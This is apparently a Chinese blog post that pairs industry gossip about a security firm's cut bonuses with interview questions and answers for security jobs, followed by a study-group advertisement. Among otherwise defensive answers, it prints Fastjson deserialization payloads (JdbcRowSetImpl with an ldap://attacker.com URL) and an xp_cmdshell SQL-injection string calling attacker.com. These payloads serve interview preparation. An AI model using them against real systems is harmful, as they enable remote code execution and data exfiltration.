一周的时间:某某某辰取消了下午茶、节假日福利等。网安届黄埔军校公积金降到了5%。。
这不这是脉脉小伙伴传出来的消息,某信取消了24年的年终奖,知道的小伙伴可以在评论区冒个泡。
据说是没有通知,是HR口头通知的。
这里我们不贩卖焦虑,行情确实很差,老板可能确实要给投资人交作业。
但是辛苦一年的牛马们,可能就靠这点年终奖存点钱吧。
网络安面试题库截止目前已更新78篇,近18w字,里面包含了网安的职业规划、面试准备篇幅、学习方向、求职名单、应届生面试题库、应届生笔试题库、国内外安全企业介绍、以及社会背调等。
文末有彩蛋
这是小伙伴去年面试末信的面试题,来看看难度:
上难度
问题1:
设计抗DDoS方案时,如何在网络层、传输层、应用层分别部署防护?各列举2项关键技术。
答案:
网络层:BGP AnyCast分流、SYN Cookie防御 传输层:TCP速率限制、连接状态检测(如FIN包验证) 应用层:JavaScript Challenge、行为分析(如鼠标移动频率)
问题2:
如何通过Nginx日志分析识别HTTP Flood攻击?给出至少3个关键指标及对应阈值设置逻辑。
答案:
请求频率:单IP > 1000次/分钟(基线动态调整) User-Aent分布:异常集中(如90%请求使用相同UA) URL熵值:大量随机路径请求(如 /asdf1234
)响应码比例:高比例404/400(扫描特征)
问题3:
分析Fastjson 1.2.24反序列化漏洞利用条件,给出利用JdbcRowSetImpl
的完整Payload及修复方案。
答案:
Payload:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker.com/Exploit",
"autoCommit":true
}
修复:
升级至1.2.25+并启用 safeMode
配置 ParserConfig.getGlobalInstance().addDeny("com.sun.rowset")
问题4:
Fastjson 1.2.68修补了AutoType绕过漏洞,请解释攻击者如何通过异常抛出机制绕过黑名单检测。
答案:
绕过原理:
利用 java.lang.Exception
子类中的@type
字段触发反序列化异常类加载时绕过 checkAutoType()
检查
{
"@type":"java.lang.Exception",
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker.com/exp",
"autoCommit":true
}
问题5:
某系统允许通过SQL语句调用存储过程,如何利用xp_cmdshell
实现RCE?说明防御的多层方案。
答案:
攻击步骤:
注入语句: '; EXEC master..xp_cmdshell 'ping attacker.com'--
通过DNS或ICMP外带数据
数据库层:禁用 xp_cmdshell
、最小权限运行应用层:输入过滤(如禁用 EXEC
关键字)网络层:出站流量监控
问题:
设计抗DDoS方案时,如何保障核心业务在500Gbps流量攻击下的可用性?需包含架构设计及应急响应流程。
答案:
架构设计:
流量清洗中心:AnyCast+GRE隧道引流 多CDN动态调度(如Cloudflare+Akamai) 业务降级:静态页面回退、非核心服务限流
实时监控触发阈值(如95%带宽占用) 自动切换至清洗中心 人工分析攻击特征更新防护规则
星球介绍
一个人走的很快,但一群人才能地的更远。吉祥同学学安全这个成立了1年左右,已经有500+的小伙伴了,如果你是网络安全的学生、想转行网络安全行业、需要网安相关的方案、ppt,戳快加入我们吧。系统性的知识库已经有:++++++++
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...